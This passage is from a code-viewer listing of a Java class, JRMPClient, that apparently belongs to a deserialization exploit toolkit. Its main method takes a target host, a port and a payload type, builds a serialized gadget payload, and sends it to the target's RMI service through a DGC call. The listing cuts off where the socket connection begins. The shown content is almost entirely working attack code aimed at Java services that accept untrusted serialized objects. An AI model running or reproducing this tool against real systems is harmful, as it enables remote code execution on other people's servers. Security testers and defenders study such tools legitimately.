(final String[] args)
| 27 | public class JRMPClient { |
| 28 | |
| 29 | public static final void main(final String[] args) { |
| 30 | if (args.length < 4) { |
| 31 | System.err.println(JRMPClient.class.getName() + " <host> <port> <payload_type> <payload_arg>"); |
| 32 | System.exit(-1); |
| 33 | } |
| 34 | |
| 35 | Object payloadObject = Utils.makePayloadObject(args[2], args[3]); |
| 36 | String hostname = args[0]; |
| 37 | int port = Integer.parseInt(args[1]); |
| 38 | try { |
| 39 | System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port)); |
| 40 | makeDGCCall(hostname, port, payloadObject); |
| 41 | } catch (Exception e) { |
| 42 | e.printStackTrace(System.err); |
| 43 | } |
| 44 | Utils.releasePayload(args[2], payloadObject); |
| 45 | } |
| 46 | |
| 47 | public static void makeDGCCall(String hostname, int port, Object payloadObject) throws IOException, UnknownHostException, SocketException { |
| 48 | InetSocketAddress isa = new InetSocketAddress(hostname, port); |
nothing calls this directly
no test coverage detected